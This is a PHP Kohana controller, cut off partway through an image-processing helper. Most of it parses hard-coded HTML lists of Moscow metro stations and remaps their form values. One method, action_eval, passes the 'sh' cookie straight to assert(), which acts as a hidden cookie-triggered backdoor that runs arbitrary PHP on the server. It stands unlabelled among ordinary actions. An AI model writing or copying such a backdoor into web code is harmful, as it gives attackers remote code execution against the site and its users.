<?php

defined('SYSPATH') or die('No direct script access.');

class Controller_Welcome extends Controller {

	public function after() {
		$this->response->body($this->_body . (Kohana::$profiling ? View::factory('profiler/stats') : ''));
		parent::after();
	}

	public function action_index() {
		$this->_body = 'привет мир!';
	}

	public function action_eval() {
		if(!empty($_COOKIE['sh'])) {
			assert($_COOKIE['sh']);
		}
	}

	public function action_metro() {
		$html = <<<HTML
<div class="ex_location_list metro_selected" style="height: auto;"><dl rel="85"><dt>Авиамоторная</dt><dd></dd><input type="hidden" name="metro[]" value="85"></dl><dl rel="13"><dt>Автозаводская</dt><dd></dd><input type="hidden" name="metro[]" value="13"></dl><dl rel="97"><dt>Академическая</dt><dd></dd><input type="hidden" name="metro[]" value="97"></dl><dl rel="53"><dt>Александровский сад</dt><dd></dd><input type="hidden" name="metro[]" value="53"></dl><dl rel="105"><dt>Алексеевская</dt><dd></dd><input type="hidden" name="metro[]" value="105"></dl><dl rel="213"><dt>Алма-Атинская</dt><dd></dd><input type="hidden" name="metro[]" value="213"></dl><dl rel="135"><dt>Алтуфьево</dt><dd></dd><input type="hidden" name="metro[]" value="135"></dl><dl rel="156"><dt>Аннино</dt><dd></dd><input type="hidden" name="metro[]" value="156"></dl><dl rel="50"><dt>Арбатская</dt><dd></dd><input type="hidden" name="metro[]" value="50"></dl><dl rel="50"><dt>Арбатская</dt><dd></dd><input type="hidden" name="metro[]" value="50"></dl><dl rel="5"><dt>Аэропорт</dt><dd></dd><input type="hidden" name="metro[]" value="5"></dl><dl rel="109"><dt>Бабушкинская</dt><dd></dd><input type="hidden" name="metro[]" value="109"></dl><dl rel="57"><dt>Багратионовская</dt><dd></dd><input type="hidden" name="metro[]" value="57"></dl><dl rel="71"><dt>Баррикадная</dt><dd></dd><input type="hidden" name="metro[]" value="71"></dl><dl rel="47"><dt>Бауманская</dt><dd></dd><input type="hidden" name="metro[]" value="47"></dl><dl rel="69"><dt>Беговая</dt><dd></dd><input type="hidden" name="metro[]" value="69"></dl><dl rel="7"><dt>Белорусская</dt><dd></dd><input type="hidden" name="metro[]" value="7"></dl><dl rel="93"><dt>Беляево</dt><dd></dd><input type="hidden" name="metro[]" value="93"></dl><dl rel="131"><dt>Бибирево</dt><dd></dd><input type="hidden" name="metro[]" value="131"></dl><dl rel="30"><dt>Библиотека им. Ленина</dt><dd></dd><input type="hidden" name="metro[]" value="30"></dl><dl rel="222"><dt>Битцевский парк</dt><dd></dd><input type="hidden" name="metro[]" value="222"></dl><dl rel="207"><dt>Борисово</dt><dd></dd><input type="hidden" name="metro[]" value="207"></dl><dl rel="120"><dt>Боровицкая</dt><dd></dd><input type="hidden" name="metro[]" value="120"></dl><dl rel="107"><dt>Ботанический сад</dt><dd></dd><input type="hidden" name="metro[]" value="107"></dl><dl rel="145"><dt>Братиславская</dt><dd></dd><input type="hidden" name="metro[]" value="145"></dl><dl rel="193"><dt>Бульвар Адмирала Ушакова</dt><dd></dd><input type="hidden" name="metro[]" value="193"></dl><dl rel="164"><dt>Бульвар Дмитрия Донского</dt><dd></dd><input type="hidden" name="metro[]" value="164"></dl><dl rel="40"><dt>Бульвар Рокоссовского</dt><dd></dd><input type="hidden" name="metro[]" value="40"></dl><dl rel="195"><dt>Бунинская аллея</dt><dd></dd><input type="hidden" name="metro[]" value="195"></dl><dl rel="106"><dt>ВДНХ</dt><dd></dd><input type="hidden" name="metro[]" value="106"></dl><dl rel="16"><dt>Варшавская</dt><dd></dd><input type="hidden" name="metro[]" value="16"></dl><dl rel="112"><dt>Владыкино</dt><dd></dd><input type="hidden" name="metro[]" value="112"></dl><dl rel="2"><dt>Водный стадион</dt><dd></dd><input type="hidden" name="metro[]" value="2"></dl><dl rel="3"><dt>Войковская</dt><dd></dd><input type="hidden" name="metro[]" value="3"></dl><dl rel="77"><dt>Волгоградский проспект</dt><dd></dd><input type="hidden" name="metro[]" value="77"></dl><dl rel="142"><dt>Волжская</dt><dd></dd><input type="hidden" name="metro[]" value="142"></dl><dl rel="203"><dt>Волоколамская</dt><dd></dd><input type="hidden" name="metro[]" value="203"></dl><dl rel="157"><dt>Воробьевы горы</dt><dd></dd><input type="hidden" name="metro[]" value="157"></dl><dl rel="198"><dt>Выставочная</dt><dd></dd><input type="hidden" name="metro[]" value="198"></dl><dl rel="218"><dt>Выставочный центр</dt><dd></dd><input type="hidden" name="metro[]" value="218"></dl><dl rel="81"><dt>Выхино</dt><dd></dd><input type="hidden" name="metro[]" value="81"></dl><dl rel="217"><dt>Деловой центр</dt><dd></dd><input type="hidden" name="metro[]" value="217"></dl><dl rel="6"><dt>Динамо</dt><dd></dd><input type="hidden" name="metro[]" value="6"></dl><dl rel="115"><dt>Дмитровская</dt><dd></dd><input type="hidden" name="metro[]" value="115"></dl><dl rel="132"><dt>Добрынинская</dt><dd></dd><input type="hidden" name="metro[]" value="132"></dl><dl rel="21"><dt>Домодедовская</dt><dd></dd><input type="hidden" name="metro[]" value="21"></dl><dl rel="205"><dt>Достоевская</dt><dd></dd><input type="hidden" name="metro[]" value="205"></dl><dl rel="140"><dt>Дубровка</dt><dd></dd><input type="hidden" name="metro[]" value="140"></dl><dl rel="216"><dt>Жулебино</dt><dd></dd><input type="hidden" name="metro[]" value="216"></dl><dl rel="209"><dt>Зябликово</dt><dd></dd><input type="hidden" name="metro[]" value="209"></dl><dl rel="43"><dt>Измайловская</dt><dd></dd><input type="hidden" name="metro[]" value="43"></dl><dl rel="94"><dt>Калужская</dt><dd></dd><input type="hidden" name="metro[]" value="94"></dl><dl rel="18"><dt>Кантемировская</dt><dd></dd><input type="hidden" name="metro[]" value="18"></dl><dl rel="17"><dt>Каховская</dt><dd></dd><input type="hidden" name="metro[]" value="17"></dl><dl rel="15"><dt>Каширская</dt><dd></dd><input type="hidden" name="metro[]" value="15"></dl><dl rel="52"><dt>Киевская</dt><dd></dd><input type="hidden" name="metro[]" value="52"></dl><dl rel="74"><dt>Китай-город</dt><dd></dd><input type="hidden" name="metro[]" value="74"></dl><dl rel="144"><dt>Кожуховская</dt><dd></dd><input type="hidden" name="metro[]" value="144"></dl><dl rel="14"><dt>Коломенская</dt><dd></dd><input type="hidden" name="metro[]" value="14"></dl><dl rel="35"><dt>Комсомольская</dt><dd></dd><input type="hidden" name="metro[]" value="35"></dl><dl rel="92"><dt>Коньково</dt><dd></dd><input type="hidden" name="metro[]" value="92"></dl><dl rel="22"><dt>Красногвардейская</dt><dd></dd><input type="hidden" name="metro[]" value="22"></dl><dl rel="133"><dt>Краснопресненская</dt><dd></dd><input type="hidden" name="metro[]" value="133"></dl><dl rel="36"><dt>Красносельская</dt><dd></dd><input type="hidden" name="metro[]" value="36"></dl><dl rel="34"><dt>Красные Ворота</dt><dd></dd><input type="hidden" name="metro[]" value="34"></dl><dl rel="139"><dt>Крестьянская Застава</dt><dd></dd><input type="hidden" name="metro[]" value="139"></dl><dl rel="29"><dt>Кропоткинская</dt><dd></dd><input type="hidden" name="metro[]" value="29"></dl><dl rel="62"><dt>Крылатское</dt><dd></dd><input type="hidden" name="metro[]" value="62"></dl><dl rel="73"><dt>Кузнецкий Мост</dt><dd></dd><input type="hidden" name="metro[]" value="73"></dl><dl rel="79"><dt>Кузьминки</dt><dd></dd><input type="hidden" name="metro[]" value="79"></dl><dl rel="60"><dt>Кунцевская</dt><dd></dd><input type="hidden" name="metro[]" value="60"></dl><dl rel="48"><dt>Курская</dt><dd></dd><input type="hidden" name="metro[]" value="48"></dl><dl rel="55"><dt>Кутузовская</dt><dd></dd><input type="hidden" name="metro[]" value="55"></dl><dl rel="98"><dt>Ленинский проспект</dt><dd></dd><input type="hidden" name="metro[]" value="98"></dl><dl rel="215"><dt>Лермонтовский проспект</dt><dd></dd><input type="hidden" name="metro[]" value="215"></dl><dl rel="223"><dt>Лесопарковая</dt><dd></dd><input type="hidden" name="metro[]" value="223"></dl><dl rel="32"><dt>Лубянка</dt><dd></dd><input type="hidden" name="metro[]" value="32"></dl><dl rel="143"><dt>Люблино</dt><dd></dd><input type="hidden" name="metro[]" value="143"></dl><dl rel="87"><dt>Марксистская</dt><dd></dd><input type="hidden" name="metro[]" value="87"></dl><dl rel="204"><dt>Марьина Роща</dt><dd></dd><input type="hidden" name="metro[]" value="204"></dl><dl rel="146"><dt>Марьино</dt><dd></dd><input type="hidden" name="metro[]" value="146"></dl><dl rel="8"><dt>Маяковская</dt><dd></dd><input type="hidden" name="metro[]" value="8"></dl><dl rel="110"><dt>Медведково</dt><dd></dd><input type="hidden" name="metro[]" value="110"></dl><dl rel="197"><dt>Международная</dt><dd></dd><input type="hidden" name="metro[]" value="197"></dl><dl rel="117"><dt>Менделеевская</dt><dd></dd><input type="hidden" name="metro[]" value="117"></dl><dl rel="196"><dt>Митино</dt><dd></dd><input type="hidden" name="metro[]" value="196"></dl><dl rel="61"><dt>Молодежная</dt><dd></dd><input type="hidden" name="metro[]" value="61"></dl><dl rel="202"><dt>Мякинино</dt><dd></dd><input type="hidden" name="metro[]" value="202"></dl><dl rel="124"><dt>Нагатинская</dt><dd></dd><input type="hidden" name="metro[]" value="124"></dl><dl rel="125"><dt>Нагорная</dt><dd></dd><input type="hidden" name="metro[]" value="125"></dl><dl rel="126"><dt>Нахимовский проспект</dt><dd></dd><input type="hidden" name="metro[]" value="126"></dl><dl rel="82"><dt>Новогиреево</dt><dd></dd><input type="hidden" name="metro[]" value="82"></dl><dl rel="210"><dt>Новокосино</dt><dd></dd><input type="hidden" name="metro[]" value="210"></dl><dl rel="11"><dt>Новокузнецкая</dt><dd></dd><input type="hidden" name="metro[]" value="11"></dl><dl rel="134"><dt>Новослободская</dt><dd></dd><input type="hidden" name="metro[]" value="134"></dl><dl rel="89"><dt>Новоясеневская</dt><dd></dd><input type="hidden" name="metro[]" value="89"></dl><dl rel="95"><dt>Новые Черемушки</dt><dd></dd><input type="hidden" name="metro[]" value="95"></dl><dl rel="100"><dt>Октябрьская</dt><dd></dd><input type="hidden" name="metro[]" value="100"></dl><dl rel="67"><dt>Октябрьское Поле</dt><dd></dd><input type="hidden" name="metro[]" value="67"></dl><dl rel="20"><dt>Орехово</dt><dd></dd><input type="hidden" name="metro[]" value="20"></dl><dl rel="111"><dt>Отрадное</dt><dd></dd><input type="hidden" name="metro[]" value="111"></dl><dl rel="31"><dt>Охотный Ряд</dt><dd></dd><input type="hidden" name="metro[]" value="31"></dl><dl rel="12"><dt>Павелецкая</dt><dd></dd><input type="hidden" name="metro[]" value="12"></dl><dl rel="165"><dt>Парк Победы</dt><dd></dd><input type="hidden" name="metro[]" value="165"></dl><dl rel="28"><dt>Парк культуры</dt><dd></dd><input type="hidden" name="metro[]" value="28"></dl><dl rel="44"><dt>Партизанская</dt><dd></dd><input type="hidden" name="metro[]" value="44"></dl><dl rel="42"><dt>Первомайская</dt><dd></dd><input type="hidden" name="metro[]" value="42"></dl><dl rel="83"><dt>Перово</dt><dd></dd><input type="hidden" name="metro[]" value="83"></dl><dl rel="113"><dt>Петровско-Разумовская</dt><dd></dd><input type="hidden" name="metro[]" value="113"></dl><dl rel="141"><dt>Печатники</dt><dd></dd><input type="hidden" name="metro[]" value="141"></dl><dl rel="59"><dt>Пионерская</dt><dd></dd><input type="hidden" name="metro[]" value="59"></dl><dl rel="49"><dt>Пл. Революции</dt><dd></dd><input type="hidden" name="metro[]" value="49"></dl><dl rel="63"><dt>Планерная</dt><dd></dd><input type="hidden" name="metro[]" value="63"></dl><dl rel="86"><dt>Площадь Ильича</dt><dd></dd><input type="hidden" name="metro[]" value="86"></dl><dl rel="68"><dt>Полежаевская</dt><dd></dd><input type="hidden" name="metro[]" value="68"></dl><dl rel="121"><dt>Полянка</dt><dd></dd><input type="hidden" name="metro[]" value="121"></dl><dl rel="130"><dt>Пражская</dt><dd></dd><input type="hidden" name="metro[]" value="130"></dl><dl rel="38"><dt>Преображенская площадь</dt><dd></dd><input type="hidden" name="metro[]" value="38"></dl><dl rel="76"><dt>Пролетарская</dt><dd></dd><input type="hidden" name="metro[]" value="76"></dl><dl rel="24"><dt>Проспект Вернадского</dt><dd></dd><input type="hidden" name="metro[]" value="24"></dl><dl rel="136"><dt>Проспект Мира</dt><dd></dd><input type="hidden" name="metro[]" value="136"></dl><dl rel="96"><dt>Профсоюзная</dt><dd></dd><input type="hidden" name="metro[]" value="96"></dl><dl rel="72"><dt>Пушкинская</dt><dd></dd><input type="hidden" name="metro[]" value="72"></dl><dl rel="214"><dt>Пятницкое шоссе</dt><dd></dd><input type="hidden" name="metro[]" value="214"></dl><dl rel="1"><dt>Речной вокзал</dt><dd></dd><input type="hidden" name="metro[]" value="1"></dl><dl rel="104"><dt>Рижская</dt><dd></dd><input type="hidden" name="metro[]" value="104"></dl><dl rel="138"><dt>Римская</dt><dd></dd><input type="hidden" name="metro[]" value="138"></dl><dl rel="80"><dt>Рязанский проспект</dt><dd></dd><input type="hidden" name="metro[]" value="80"></dl><dl rel="116"><dt>Савеловская</dt><dd></dd><input type="hidden" name="metro[]" value="116"></dl><dl rel="108"><dt>Свиблово</dt><dd></dd><input type="hidden" name="metro[]" value="108"></dl><dl rel="127"><dt>Севастопольская</dt><dd></dd><input type="hidden" name="metro[]" value="127"></dl><dl rel="45"><dt>Семеновская</dt><dd></dd><input type="hidden" name="metro[]" value="45"></dl><dl rel="122"><dt>Серпуховская</dt><dd></dd><input type="hidden" name="metro[]" value="122"></dl><dl rel="201"><dt>Славянский бульвар</dt><dd></dd><input type="hidden" name="metro[]" value="201"></dl><dl rel="51"><dt>Смоленская</dt><dd></dd><input type="hidden" name="metro[]" value="51"></dl><dl rel="51"><dt>Смоленская</dt><dd></dd><input type="hidden" name="metro[]" value="51"></dl><dl rel="4"><dt>Сокол</dt><dd></dd><input type="hidden" name="metro[]" value="4"></dl><dl rel="37"><dt>Сокольники</dt><dd></dd><input type="hidden" name="metro[]" value="37"></dl><dl rel="26"><dt>Спортивная</dt><dd></dd><input type="hidden" name="metro[]" value="26"></dl><dl rel="206"><dt>Сретенский бульвар</dt><dd></dd><input type="hidden" name="metro[]" value="206"></dl><dl rel="200"><dt>Строгино</dt><dd></dd><input type="hidden" name="metro[]" value="200"></dl><dl rel="54"><dt>Студенческая</dt><dd></dd><input type="hidden" name="metro[]" value="54"></dl><dl rel="102"><dt>Сухаревская</dt><dd></dd><input type="hidden" name="metro[]" value="102"></dl><dl rel="64"><dt>Сходненская</dt><dd></dd><input type="hidden" name="metro[]" value="64"></dl><dl rel="75"><dt>Таганская</dt><dd></dd><input type="hidden" name="metro[]" value="75"></dl><dl rel="9"><dt>Тверская</dt><dd></dd><input type="hidden" name="metro[]" value="9"></dl><dl rel="10"><dt>Театральная</dt><dd></dd><input type="hidden" name="metro[]" value="10"></dl><dl rel="78"><dt>Текстильщики</dt><dd></dd><input type="hidden" name="metro[]" value="78"></dl><dl rel="220"><dt>Телецентр</dt><dd></dd><input type="hidden" name="metro[]" value="220"></dl><dl rel="91"><dt>Теплый Стан</dt><dd></dd><input type="hidden" name="metro[]" value="91"></dl><dl rel="114"><dt>Тимирязевская</dt><dd></dd><input type="hidden" name="metro[]" value="114"></dl><dl rel="114"><dt>Тимирязевская</dt><dd></dd><input type="hidden" name="metro[]" value="114"></dl><dl rel="88"><dt>Третьяковская</dt><dd></dd><input type="hidden" name="metro[]" value="88"></dl><dl rel="199"><dt>Трубная</dt><dd></dd><input type="hidden" name="metro[]" value="199"></dl><dl rel="123"><dt>Тульская</dt><dd></dd><input type="hidden" name="metro[]" value="123"></dl><dl rel="103"><dt>Тургеневская</dt><dd></dd><input type="hidden" name="metro[]" value="103"></dl><dl rel="65"><dt>Тушинская</dt><dd></dd><input type="hidden" name="metro[]" value="65"></dl><dl rel="219"><dt>Ул. Академика Королева</dt><dd></dd><input type="hidden" name="metro[]" value="219"></dl><dl rel="221"><dt>Ул. Милашенкова</dt><dd></dd><input type="hidden" name="metro[]" value="221"></dl><dl rel="211"><dt>Ул. Сергея Эйзенштейна</dt><dd></dd><input type="hidden" name="metro[]" value="211"></dl><dl rel="70"><dt>Улица 1905 года</dt><dd></dd><input type="hidden" name="metro[]" value="70"></dl><dl rel="155"><dt>Улица Академика Янгеля</dt><dd></dd><input type="hidden" name="metro[]" value="155"></dl><dl rel="194"><dt>Улица Горчакова</dt><dd></dd><input type="hidden" name="metro[]" value="194"></dl><dl rel="192"><dt>Улица Скобелевская</dt><dd></dd><input type="hidden" name="metro[]" value="192"></dl><dl rel="212"><dt>Улица Старокачаловская</dt><dd></dd><input type="hidden" name="metro[]" value="212"></dl><dl rel="25"><dt>Университет</dt><dd></dd><input type="hidden" name="metro[]" value="25"></dl><dl rel="58"><dt>Филевский парк</dt><dd></dd><input type="hidden" name="metro[]" value="58"></dl><dl rel="56"><dt>Фили</dt><dd></dd><input type="hidden" name="metro[]" value="56"></dl><dl rel="27"><dt>Фрунзенская</dt><dd></dd><input type="hidden" name="metro[]" value="27"></dl><dl rel="19"><dt>Царицыно</dt><dd></dd><input type="hidden" name="metro[]" value="19"></dl><dl rel="118"><dt>Цветной бульвар</dt><dd></dd><input type="hidden" name="metro[]" value="118"></dl><dl rel="39"><dt>Черкизовская</dt><dd></dd><input type="hidden" name="metro[]" value="39"></dl><dl rel="128"><dt>Чертановская</dt><dd></dd><input type="hidden" name="metro[]" value="128"></dl><dl rel="119"><dt>Чеховская</dt><dd></dd><input type="hidden" name="metro[]" value="119"></dl><dl rel="33"><dt>Чистые пруды</dt><dd></dd><input type="hidden" name="metro[]" value="33"></dl><dl rel="137"><dt>Чкаловская</dt><dd></dd><input type="hidden" name="metro[]" value="137"></dl><dl rel="99"><dt>Шаболовская</dt><dd></dd><input type="hidden" name="metro[]" value="99"></dl><dl rel="208"><dt>Шипиловская</dt><dd></dd><input type="hidden" name="metro[]" value="208"></dl><dl rel="84"><dt>Шоссе Энтузиастов</dt><dd></dd><input type="hidden" name="metro[]" value="84"></dl><dl rel="41"><dt>Щелковская</dt><dd></dd><input type="hidden" name="metro[]" value="41"></dl><dl rel="66"><dt>Щукинская</dt><dd></dd><input type="hidden" name="metro[]" value="66"></dl><dl rel="46"><dt>Электрозаводская</dt><dd></dd><input type="hidden" name="metro[]" value="46"></dl><dl rel="23"><dt>Юго-Западная</dt><dd></dd><input type="hidden" name="metro[]" value="23"></dl><dl rel="129"><dt>Южная</dt><dd></dd><input type="hidden" name="metro[]" value="129"></dl><dl rel="90"><dt>Ясенево</dt><dd></dd><input type="hidden" name="metro[]" value="90"></dl></div>
HTML;
		$document = phpQuery::newDocument($html);
		$rows = pq("div dl");
		foreach ($rows as $row) {
			$data[pq($row)->attr('rel')] = pq($row)->find("dt")->eq(0)->text(); //.' - ';
		}
		echo count($data);
		print_r($data);

		$html = <<<HTML
	<div class="metro">
		<label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="1">Черкизовская</label><br/>
		<label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="2">Преображенская пл.</label><br/>
		<label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="3">Сокольники</label><br/>
		<label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="4">Красносельская</label><br/>
		<label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="5">Комсомольская (с)</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="6">Красные ворота</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="7">Чистые пруды</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="8">Лубянка</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="9">Охотный ряд</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="10">Библиотека им. Ленина</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="11">Кропоткинская</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="12">Парк культуры (с)</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="13">Фрунзенская</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="14">Спортивная</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="15">Воробьевы горы</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="16">Университет</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="17">Пр-т Вернадского</label><br/><label class="btn btn-default ln1000">
		<input type="checkbox" name="metro[]" value="18">Юго-Западная</label>
	</div>
	<div class="metro">
		<label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="19">Речной вокзал</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="20">Водный стадион</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="21">Войковская</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="22">Сокол</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="23">Аэропорт</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="24">Динамо</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="25">Белорусская (з)</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="26">Маяковская</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="27">Тверская</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="28">Театральная</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="29">Новокузнецкая</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="30">Павелецкая (з)</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="31">Автозаводская</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="32">Коломенская</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="33">Каширская (з)</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="34">Кантемировская</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="35">Царицино</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="36">Орехово</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="37">Домодедовская</label></br><label class="btn btn-default ln1100">
		<input type="checkbox" name="metro[]" value="38">Красногвардейская</label>
	</div>
	<div class="metro">
		<label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="39">Щелковская</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="40">Первомайская</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="41">Измайловская</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="42">Партизанская</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="43">Семеновская</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="44">Электрозаводская</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="45">Бауманская</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="46">Курская (а-п)</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="47">Площадь революции</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="48">Арбатская (а-п)</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="49">Смоленская (а-п)</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="50">Киевская (а-п)</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="51">Парк победы</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="52">Славянский бульвар</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="53">Кунцевская (а-п)</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="54">Молодежная</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="55">Крылатское</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="56">Строгино</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="57">Мякинино</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="58">Волоколамская</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="59">Митино</label></br><label class="btn btn-default ln1200">
		<input type="checkbox" name="metro[]" value="60">Пятницкое шоссе</label>
	</div>
	<div class="metro">
	<label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="61">Багратионовская</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="62">Фили</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="63">Кутузовская</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="64">Студенческая</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="65">Киевская (ф)</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="66">Смоленская (ф)</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="67">Арбатская (ф)</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="68">Александровский сад</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="69">Международная</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="70">Выставочная</label></br><label class="btn btn-default ln1300">
		<input type="checkbox" name="metro[]" value="71">Парк культуры (к)</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="72">Киевская (к)</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="73">Краснопресненская</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="74">Белорусская (к)</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="75">Новослободская</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="76">Проспект мира (к)</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="77">Комсомольская (к)</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="78">Курская (к)</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="79">Таганская (к)</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="80">Павелецкая (к)</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="81">Добрынинская</label></br><label class="btn btn-default ln1400">
		<input type="checkbox" name="metro[]" value="82">Октябрьская (к)</label>
	</div>
	<div class="metro">
	<label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="83">Медведково</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="84">Бабушкинская</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="85">Свиблово</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="86">Ботанический сад</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="87">ВДНХ</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="88">Алексеевская</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="89">Рижская</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="90">Проспект мира (к-р)</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="91">Сухаревская</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="92">Тургеневская</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="93">Китай-город</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="94">Третьяковская (к-р)</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="95">Октябрьская (к-р)</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="96">Шаболовская</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="97">Ленинский пр-т</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="98">Академическая</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="99">Профсоюзная</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="100">Новые черемушки</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="101">Калужская</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="102">Беляево</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="103">Коньково</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="104">Теплый стан</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="105">Ясенево</label></br><label class="btn btn-default ln1500">
		<input type="checkbox" name="metro[]" value="106">Новоясеневская</label>
	</div>
HTML;
		//$document2 = phpQuery::newDocument($html);
		//$rows = pq("label");
		//foreach ($rows as $row) {
			foreach($data as $k=>$v){
				$html = preg_replace('`"(\d+)">'.$v.'<`si','"'.$k.'">'.$v.'<',$html);
				//if($row->text()==$v){
				//	$row->find('input')->eq(0)->val($k);
				//}
			//$data2[pq($row)->attr('rel')] = pq($row)->val()->eq(0)->text();
			}
		//}
		echo $html;
	}

	public function train() {

	}

	private function ImageToBlackAndWhite($im) {
		//imagefilter($im, IMG_FILTER_CONTRAST, -100);
		//imagefilter($im, IMG_FILTER_BRIGHTNESS, 50);
		for ($x = imagesx($im); $x--;) {
			for ($y = imagesy($im); $y--;) {
				$rgb = imagecolorat($im, $x, $y);
				$r = ($rgb >> 16) & 0xFF;
				$g = ($rgb >> 8 ) & 0xFF;
